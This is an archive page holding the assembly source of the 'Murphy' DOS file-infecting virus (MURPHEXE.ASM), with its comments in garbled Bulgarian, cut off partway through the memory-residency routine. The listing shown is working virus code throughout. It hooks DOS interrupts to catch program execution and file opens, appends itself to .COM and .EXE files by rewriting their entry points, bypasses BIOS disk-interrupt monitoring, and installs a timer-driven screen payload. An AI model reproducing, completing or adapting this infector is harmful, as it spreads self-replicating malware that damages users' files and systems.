home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SOURCE.ZIP
/
MURPHEXE.ASM
< prev
next >
Wrap
Assembly Source File
|
1990-06-05
|
19KB
|
820 lines
;
; dynamic self loader
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; SYSTEM INFECTOR
;
;
; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow
;
; All rights reserved.
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
page ,132
title SYSTEM INFECTOR
comp13 = offset kt1 - offset org13
comp21 = offset kt1 - offset new21
compbuff = offset kt1 - offset buffer
compbuff1 = offset kt1 - offset buffer1
comp_code = offset kt1 - offset my_code
vir_length = offset endpr - offset entry_point
Cred = offset virus - offset credits
code segment ; ¡á⌐ - ó᪡¿┐ ▒Ñú¼Ñ¡▓ !!!
assume cs:code ; ¿¡¿╢¿á½¿º¿░á¡Ñ ¡á CS
org 100h ; ¡á╖á½Ñ¡ áñ░Ñ▒ ¡á »░«ú░á¼á▓á
entry_point: ; ó╡«ñ¡á ▓«╖¬á
jmp point1 ; ▒¬«¬ ó »░«ú░á¼á▓á ºá │▒▓á¡«ó┐óá¡Ñ ¡á ó¿░│▒á
buffer db 18h dup (0c3h) ; ╖Ñ▓¿░¿ »« RET
buffer1 db 4 dup (0c3h) ; ▓░¿ »« RET
my_code dw ?
time dw ?
date dw ?
old_len dd ?
new21 dd ? ; ¼┐▒▓« ºá ¡«ó¿┐ óѬ▓«░
old24 dd ?
org13 dd ?
old13 dd ?
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; çá ¡Ñºá¬«¡¡« ¬«»¿░á¡Ñ ╣Ñ «▓¿ñÑ▓Ñ ó ºá▓ó«░á !
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
credits:
db ' It''s me - Murphy. '
db ' Copywrite (c)1990 by Lubo &'
db ' Ian, Sofia, USM Laboratory. '
virus proc near ;
call time_kill ; »░«óÑ░¬á ºá ñá▓á ¿ ╖á▒
cmp ax,4b00h+'M' ; äÄæ ┤│¡¬╢¿┐ EXEC ?
jnz @05
push bp
mov bp,sp
and word ptr [bp+6],0fffeh
pop bp
iret
@05:
cmp ah,4bh ; äÄæ ┤│¡¬╢¿┐ EXEC ?
jz p0
cmp ax,3d00h ; äÄæ ┤│¡¬╢¿┐ OPEN ?
jz p0 ; ñá !
cmp ax,6c00h ; »░«óÑ░¬á ºá DOS Fn 6C
jnz @04 ; ¿¼á ¿ ñ░│ú ¡á╖¿¡
cmp bl,0 ; ¡«░¼á½¡« «▓óá░┐¡Ñ
jz p0 ; ºá░áº┐óá¡Ñ
@04:
jmp do_not_bite ; ¡Ñ - »░Ñ╡«ñ ¬║¼ ▒▓á░¿┐ óѬ▓«░
p0: ;
push es ; ºá»áºóá¡Ñ ¡á ES ,
push ds ; DS ,
push di ; DI ,
push si ; SI ,
push bp ; BP ,
push dx ; DX ,
push cx ; CX ,
push bx ; BX ,
push ax ; ¿ AX
call ints_on
call ints_off
cmp ax,6c00h ; »░«óÑ░¬á ºá OPEN
jnz kt6 ; »░Ñ▒¬á╖á¡Ñ
mov dx,si ; íѺ ñ│¼¿
kt6:
mov cx,80h ; ¼á¬▒¿¼á½¡á ñ║½ª¿¡á ¡á ┤á⌐½«óá▓á
mov si,dx ; ▒»Ñ╢¿┤¿¬á╢¿┐
while_null: ;
inc si ; »«½│╖áóá¡Ñ ¡á
mov al,byte ptr ds:[si] ; ┤á⌐½«óá▓á
or al,al ; ▒»Ñ╢¿┤¿¬á╢¿┐
loopne while_null ; ¬░á⌐ ¡á ASCIIZ ?
sub si,02h ; 2 ▒¿¼ó«½á ¡áºáñ
cmp word ptr ds:[si],'MO' ; »░«óÑ░¬á ºá .COM - ┤á⌐½
jz @03
cmp word ptr ds:[si],'EX'
jz @06
go_away:
jmp @01 ; ªá½¬« -> no_ill_it
@06:
cmp word ptr ds:[si-2],'E.' ;
jz go_forward ;
jmp short go_away
@03:
cmp word ptr ds:[si-2],'C.' ; «╣Ñ ¡¿╣« ¡Ñ Ñ ºáú│íÑ¡«...
jnz go_away ; .COM ┤á⌐½
go_forward: ;
mov ax,3d02h ; äÄæ ┤│¡¬╢¿┐ 3d /«▓óá░┐¡Ñ ¡á ┤á⌐½/ - ░Ѫ¿¼ ¡á ñ«▒▓║» 010b - ╖Ñ▓Ñ¡Ñ ¿ ºá»¿▒
call int_21 ; ó░║╣á ┤á⌐½«ó¿┐ ¼á¡¿»│½á▓«░ ó AX ᬫ CF = 0
jc @01 ;
mov bx,ax ; ºá»áºóá¡Ñ ¡á ┤á⌐½«ó¿┐ ¼á¡¿»│½á▓«░ ó BX
mov ax,5700h ;
call int_21 ;
mov cs:[time],cx ;
mov cs:[date],dx ;
mov ax,4200h ; äÄæ ┤│¡¬╢¿┐ 42
xor cx,cx ; ¡│½¿░á¡Ñ ¡á CX
xor dx,dx ; │▒▓á¡«ó┐óá¡Ñ ¡á │¬áºá▓ѽ┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
call int_21 ; INT 21
push cs ; │▒▓á¡«ó┐óá¡Ñ
pop ds ; DS := CS
mov dx,offset buffer ; ¿º╖¿▒½┐óá¡Ñ ¡á áñ░Ñ▒á ¡á buffer
mov si,dx
mov cx,0018h ; ╕Ñ▒▓ íá⌐▓á
mov ah,3fh ; äÄæ ┤│¡¬╢¿┐ 3FH /╖Ñ▓Ñ¡Ñ «▓ ┤á⌐½/
call int_21 ; »░«╖¿▓á¡Ñ ¡á »║░ó¿▓Ñ 8 íá⌐▓á ó buffer
jc close_file
cmp word ptr ds:[si],'ZM'
jnz @07
call exe_file
jmp short close_file
@07:
call com_file
close_file:
jc skip_restore_date
mov ax,5701h
mov cx,cs:[time]
mov dx,cs:[date]
call int_21
skip_restore_date:
mov ah,3eh ; äÄæ ┤│¡¬╢¿┐ 3E - ºá▓óá░┐¡Ñ ¡á ┤á⌐½
call int_21 ; INT 21
@01:
call ints_off
pop ax ; ó║º▒▓á¡«ó┐óá¡Ñ ¡á AX ,
pop bx ; BX ,
pop cx ; CX ,
pop dx ; DX ,
pop bp ; BP ,
pop si ; SI ,
pop di ; DI ,
pop ds ; DS ,
pop es ; ES
do_not_bite:
jmp dword ptr cs:[new21] ; »░Ñ╡«ñ ¬║¼ ▒▓á░¿┐ óѬ▓«░
virus endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for .EXE file
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
exe_file proc near
mov cx,word ptr ds:[si+16h] ; ºá░Ѫñá¡Ñ ¡á «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS í »á░áú░á┤¿
add cx,word ptr ds:[si+08h] ; ▒║í¿░á¡Ñ ¡á »░Ñ┤¿¬▒á (ó »á░áú░á┤¿) ▒ ¡Ñú«
mov ax,10h
mul cx ; │¼¡«ªáóá¼Ñ ú¿ ▒ 10h ¿ »«½│╖áóá¼Ñ
add ax,word ptr ds:[si+14h] ; áí▒«½╛▓¡«▓« «▓¼Ñ▒▓óá¡Ñ ¡á
adc dx,0 ; ó╡«ñ¡á▓á ▓«╖¬á ¬á▓« ▒║í¿░á¼Ñ ¿ IP
push dx ; ºá»áºóá¼Ñ ú¿ ó ▒▓Ñ¬á ºá »«-¡á▓á▓║¬
push ax
mov ax,4202h ; ╡óá▓¬á ºá »«½│╖áóá¡Ñ
xor cx,cx
xor dx,dx ; ¡á ñ║½ª¿¡á▓á ¡á
call int_21 ; ┤á⌐½á ó DX:AX
cmp dx,0
jnz go_out ; »░«óÑ░¬á ºá ñ║½ª¿¡á▓á ¡á
cmp ax,vir_length ; ┤á⌐½á ╡á░Ñ▒á¡ «▓ ó¿░│▒á
jnb go_out ; ᬫ Ñ óÑ╖Ñ ╡á░Ñ▒á¡ «▓ ¡Ñú« -
pop ax ; Go out !
pop dx
stc
ret
go_out:
mov di,ax ; ºá»áºóá¡Ñ ¡á AX ó DI
mov bp,dx ; ¿ DX ó BP
pop cx ; ¿ºóáªñá¼Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á
sub ax,cx ; ó╡«ñ¡á▓á ▓«╖¬á «▓ ñ║½ª¿¡á▓á ¡á ┤á⌐½á
pop cx ; ¿ »«½│╖áóá¼Ñ ñ║½ª¿¡á▓á ¡á
sbb dx,cx ; »░«ú░á¼á▓á ▒½Ññ ó╡«ñ¡á▓á ▓«╖¬á
cmp word ptr ds:[si+0ch],00h; »░«óÑ░¬á ºá «»╢¿┐
je exitp ; /HIGH
cmp dx,0 ; ▒░áó¡┐óá¼Ñ ú¿ ▒ ñ║½ª¿¡á▓á ¡á ó¿░│▒á
jne ill_it ; ¿ ᬫ ¡á ▒á ░áó¡¿ ½Ñ»óá¼Ñ ú« ▓á¼ ¿
cmp ax,vir_length ; ▓.¡. . . .
jne ill_it
stc
ret
ill_it:
mov dx,bp ; »░«╖¿▓á¼Ñ ñ║½ª¿¡á▓á ¡á
mov ax,di ; ¡á »░«ú░á¼á▓á
push dx ; push óá¼Ñ ú¿
push ax ; ºá »«-¡á▓á▓║¬
add ax,vir_length ; ▒║í¿░á¼Ñ ┐ ▒
adc dx,0 ; ñ║½ª¿¡á▓á ¡á Murphy
mov cx,512 ; ñѽ¿¼ ┐ ¡á 512 íá⌐▓á
div cx
les di,dword ptr ds:[si+02h]; ºá░Ѫñá¡Ñ ¡á ▒▓á░á▓á ñ║½ª¿¡á
mov word ptr cs:[old_len],di; ºá»áºóá¡Ñ ó ▓┐½«▓«
mov word ptr cs:[old_len+2],es;ºá»áºóá¡Ñ ó ▓┐½«▓«
mov word ptr ds:[si+02h],dx ; ¿ ┐ ºá»¿▒óá¼Ñ
cmp dx,0
jz skip_increment
inc ax
skip_increment:
mov word ptr ds:[si+04h],ax ; ó í│┤Ñ░á
pop ax ; ╖Ñ▓Ѽ ñ║½ª¿¡á▓á ¡á ┤á⌐½á
pop dx ; «▓ ▒▓Ѭá
call div10h ; ñѽ¿¼ ┐ ¡á 10h ¿ ┐ »«½│╖áóá¼Ñ ó AX:DX
sub ax,word ptr ds:[si+08h] ; ¿ºóáªñá¼Ñ »░Ñ┤¿¬▒á
les di,dword ptr ds:[si+14h]; »░«╖¿▓á¡Ñ ¡á ▒▓á░¿▓Ñ
mov word ptr ds:[buffer1],di; CS:IP ¿ ºá»¿▒
mov word ptr ds:[buffer1+02h],es ; ó ▓┐½«▓«
mov word ptr ds:[si+14h],dx ; ºá»¿▒ ¡á ¡«ó¿┐ IP ó í│┤Ñ░á
mov word ptr ds:[si+16h],ax ; ºá»¿▒ ¡á ¡«ó¿┐ CS ó í│┤Ñ░á
mov word ptr ds:[my_code],ax; ºá»¿▒ ¡á ¡«ó¿┐ CS ó║ó ▓┐½«▓«
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21
call paste
jc exitp
mov ax,4200h
xor cx,cx
xor dx,dx
call int_21
mov ah,40h
mov dx,si
mov cx,18h
call int_21
exitp:
ret
exe_file endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for dividing
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
div10h proc near
mov cx,04h
mov di,ax
and di,000fh
dividing:
shr dx,1
rcr ax,1
loop dividing
mov dx,di
ret
div10h endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for virus moving
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
paste proc near
mov ah,40h ; äÄæ ┤│¡¬╢¿┐ 40h /ºá»¿▒ ó║ó ┤á⌐½ ¿½¿ │▒▓░«⌐▒▓ó«/
mov cx,vir_length ; ¿º╖¿▒½┐óá¡Ñ ñ║½ª¿¡á▓á ¡á ó¿░│▒á
mov dx,offset entry_point ; DS:DX ▓░┐íóá ñá ▒«╖á▓ áñ░Ñ▒á ¡á ºá»¿▒á
call ints_on ; ºá«í¿¬á½┐¡Ñ ¡á ╖á▒«ó¡¿¬á (R/W)
jmp int_21 ; ºá»¿▒ ó║ó ┤á⌐½á
paste endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for .COM file
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
com_file proc near
mov ax,4202h ; äÄæ ┤│¡¬╢¿┐ 42 /»░ѼÑ▒▓óá¡Ñ ¡á ▓Ѭ│╣¿┐ │¬áºá▓ѽ ó║ó ┤´á /AL=2 - ó ¬░á┐/
xor cx,cx ; │▒▓á¡«ó┐óá¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
xor dx,dx ; CX ¿ DX /ᬫ CX:DX = 0 , ó DX:AX ▒Ñ »«½│╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á/
call int_21 ; │▒▓á¡«ó┐óá¡Ñ ó ¬░á┐ ¡á ┤á⌐½á
cmp ax,vir_length ; ▒░áó¡┐óá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á ó¿░│▒á
jb short no_ill_it ; ▒ »░«ú░á¼á▓á ¿ »░Ñ╡«ñ ó ¬░á┐ ᬫ
cmp ax,64000 ; ñ║½ª¿¡á▓á ¡á »░«ú░á¼á▓á Ñ < ñ║½ª. ¡á
jnb short no_ill_it ; ó¿░│▒á ¿½¿ > 0ffff-ñ║½ª. ¡á ó¿░│▒á - 20h
push ax ; ▒║╡░á¡┐óá¡Ñ ¡á AX
cmp byte ptr ds:[si],0E9h ; »░«óÑ░¬á ºá JMP ó ¡á╖Ὣ▓« ¡á »░«ú░á¼á▓á
jnz illing ; ìÑ? - îÑ░▒¿! Æ«úáóá ºá░áº┐óá¼Ñ.
sub ax,vir_length + 3 ; »«½│╖áóá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á »░«ú░á¼á▓á íѺ ó¿░│▒á /ÑóÑ¡▓│ὡ«/
cmp ax,ds:[si+1] ; »░«óÑ░¬á ºá »░«ú░á¼á▓á ºá½Ñ»Ñ¡á ó ¬░á┐
jnz illing ; ìÑ? ...
pop ax ; «▒ó«í«ªñáóá¡Ñ ¡á ▒▓Ѭá
stc
ret
illing:
call paste
jnc skip_paste
pop ax
ret
skip_paste:
mov ax,4200h ; äÄæ ┤│¡¬╢¿┐ 42
xor cx,cx ; ¡│½¿░á¡Ñ ¡á CX
xor dx,dx ; │▒▓á¡«ó┐óá¡Ñ ¡á │¬áºá▓ѽ┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
call int_21 ; ¿º»║½¡Ñ¡¿Ñ ¡á ┤│¡¬╢¿┐▓á
pop ax ; ╖Ñ▓Ñ¡Ñ ¡á AX
sub ax,03h ; ¿º╖¿▒½┐óá¡Ñ ¡á «»Ñ░á¡ñá ¡á JMP-á
mov dx,offset buffer1 ; ºáñáóá¡Ñ ¡á áñ░Ñ▒á ¡á ºá»¿▒á ó DS:DX
mov si,dx
mov byte ptr cs:[si],0e9h ; ºá»¿▒ ¡á 09H (JMP) ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
mov word ptr cs:[si+1],ax ; «»Ñ░á¡ñá ¡á JMP-á ó »«½Ñ▓« ºá ºá»¿▒
mov ah,40h ; äÄæ ┤│¡¬╢¿┐ 40h /ºá»¿▒ ó║ó ┤á⌐½ ¿½¿ │▒▓░«⌐▒▓ó«/
mov cx,3 ; ºá»¿▒ ▒Ἣ ¡á 3 íá⌐▓á
call int_21 ; ¿º»║½¡Ñ¡¿Ñ ¡á ┤│¡¬╢¿┐▓á
no_ill_it:
ret
com_file endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for calling of an 'int 21h'
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
int_21 proc near
pushf
call dword ptr [new21]
ret
int_21 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; This subroutine changes the int 24h vector to me
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
ints_on proc near
push ax
push ds
push es
xor ax,ax
push ax
pop ds
cli
les ax,dword ptr ds:[24h*4]
mov word ptr cs:[old24],ax
mov word ptr cs:[old24+2],es
mov ax,offset int_24
mov word ptr ds:[24h*4],ax
mov word ptr ds:[24h*4+2],cs
les ax,dword ptr ds:[13h*4]
mov word ptr cs:[old13],ax
mov word ptr cs:[old13+2],es
les ax,dword ptr cs:[org13]
mov word ptr ds:[13h*4],ax
mov word ptr ds:[13h*4+2],es
sti
pop es
pop ds
pop ax
ret
ints_on endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; This subroutine restores the int 24h vector
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
ints_off proc near
push ax
push ds
push es
xor ax,ax
push ax
pop ds
cli
les ax,dword ptr cs:[old24]
mov word ptr ds:[24h*4],ax
mov word ptr ds:[24h*4+2],es
les ax,dword ptr cs:[old13]
mov word ptr ds:[13h*4],ax
mov word ptr ds:[13h*4+2],es
sti
pop es
pop ds
pop ax
ret
ints_off endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; This subroutine works the int 24h
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
int_24 proc far
mov al,3
iret
int_24 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; îá⌐▓á» ▒ íѺºá╣¿▓¡¿▓Ñ ╡«░¿╢á
;
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
joke proc far
push ax ; ºá»áºóá¡Ñ
push bx
push cx ; ¡á
push dx
push si
push di
push bp
push ds ; ░Ñú¿▒▓░¿▓Ñ
push es
xor ax,ax
push ax
pop ds
mov bh,ds:[462h]
mov ax,ds:[450h]
mov cs:[old_pos],ax
mov ax,cs:[pos_value]
mov word ptr ds:[450h],ax
mov ax,word ptr cs:[spot_buff]
mov bl,ah
mov ah,09h
mov cx,1
int 10h
call change_pos
call push_spot
mov ax,cs:pos_value
mov word ptr ds:[450h],ax
mov bl,07h
mov ax,0907h
mov cx,1
int 10h
mov ax,cs:[old_pos]
mov ds:[450h],ax
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old_1ch]
spot_buff dw ?
pos_value dw 1010h
direction db 0
old_1ch dd ?
old_pos dw ?
change_pos proc near
mov ax,cs:[pos_value]
mov bx,word ptr ds:[44ah]
dec bx
test cs:[direction],00000001b
jz @001
cmp al,bl
jb @002
xor cs:[direction],00000001b
jmp short @002
@001:
cmp al,0
jg @002
xor cs:[direction],00000001b
@002:
test cs:[direction],00000010b
jz @003
cmp ah,24
jb @005
xor cs:[direction],00000010b
jmp short @005
@003:
cmp ah,0
jg @005
xor cs:[direction],00000010b
@005:
cmp byte ptr cs:spot_buff,20h
je skip_let
cmp byte ptr cs:[pos_value+1],0
je skip_let
xor cs:[direction],00000010b
skip_let:
test cs:[direction],00000001b
jz @006
inc byte ptr cs:[pos_value]
jmp short @007
@006:
dec byte ptr cs:[pos_value]
@007:
test cs:[direction],00000010b
jz @008
inc byte ptr cs:[pos_value+1]
jmp short @009
@008:
dec byte ptr cs:[pos_value+1]
@009:
ret
change_pos endp
push_spot proc near
mov ax,cs:[pos_value]
mov word ptr ds:[450h],ax
mov bh,ds:[462h]
mov ah,08h
int 10h
mov word ptr cs:[spot_buff],ax
ret
push_spot endp
joke endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for check current time
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
time_kill proc near ;
push ax ; ºá»áºóá¡Ñ
push bx
push cx ; ¡á
push dx
push si
push di
push bp
push ds ; ░Ñú¿▒▓░¿▓Ñ
push es
xor ax,ax ; »«½│╖áóá¡Ñ ¡á
push ax
pop ds
cmp word ptr ds:[1Ch*4],offset joke
je next_way
mov ax,ds:[46ch]
mov dx,ds:[46ch+2]
mov cx,0ffffh
div cx
cmp ax,10
jne next_way
cli
mov bp,word ptr ds:[450h]
call push_spot
mov ds:[450h],bp
les ax,ds:[1ch*4]
mov word ptr cs:[old_1ch],ax
mov word ptr cs:[old_1ch+2],es
mov word ptr ds:[1Ch*4],offset joke
mov word ptr ds:[1Ch*4+2],cs
sti
next_way:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
time_kill endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; Subroutine for multiplication
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_10 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
ret
sub_10 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;
; ? ? ? ? ? ? ? ?
;
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
zero_regs proc near
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret
zero_regs endp
point1: ;
push ds
call kt1 ; ▓░¿¬ ºá
kt1: ; ¿º╖¿▒½┐óá¡Ñ ¡á «▓¼Ñ▒▓óá¡Ñ▓«
mov ax,4b00h + 'M' ; ¡á kt1
int 21h
jc stay
jmp go_to_program ;
stay: ;
pop si ;
push si ;
mov di,si ;
xor ax,ax ; Zero register
push ax ;
pop ds ;
les ax,ds:[13h*4] ; (0000:004C=6E5h) Load 32 bit ptr
mov cs:[si-comp13],ax ; (64BB:06F4=9090h)
mov cs:[si-comp13+2],es ; (64BB:06F6=9090h)
les bx,ds:[21h*4]
mov word ptr cs:[di-comp21],bx ; «▓¼Ñ▒▓óá¡Ñ
mov word ptr cs:[di-comp21+2],es ; ▒Ñú¼Ñ¡▓
mov ax,ds:[102h] ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_14 ; Jump if not equal
mov dl,80h
mov ax,ds:[106h] ; (0000:0106=0C800h)
cmp ax,0F000h
je loc_7 ; Jump if equal
cmp ah,0C8h
jb loc_14 ; Jump if below
cmp ah,0F4h
jae loc_14 ; Jump if above or =
test al,7Fh ; ''
jnz loc_14 ; Jump if not zero
mov ds,ax
cmp word ptr ds:[0],0AA55h ; (C800:0000=0AA55h)
jne loc_14 ; Jump if not equal
mov dl,ds:[02h] ; (C800:0002=10h)
loc_7:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_8:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_9 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_10 ; Jump if equal
jnz loc_11 ; Jump if not zero
loc_9:
cmp ax,0C2F6h
jne loc_12 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_11 ; Jump if not equal
loc_10:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_13 ; Jump if equal
sub si,3
loc_11:
dec si
dec si
loc_12:
dec si
loop locloop_8 ; Loop if cx > 0
jmp short loc_14
loc_13:
sub si,7
mov cs:[di-comp13],si ; (64BB:06F4=9090h)
mov cs:[di-comp13+2],ds ; (64BB:06F6=9090h)
loc_14:
mov ah,62h
int 21h
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h,
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h,
; allocate memory, bx=bytes/16
sub bx,vir_length/10h+2
jc go_to_program ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah,
; change mem allocation, bx=siz
mov bx,vir_length/10h+1
stc ; Set carry flag
sbb es:[02h],bx ; (FF95:0002=0B8CFh)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah,
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[01h],08h ; (FEAD:0001=1906h)
call sub_10
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_10
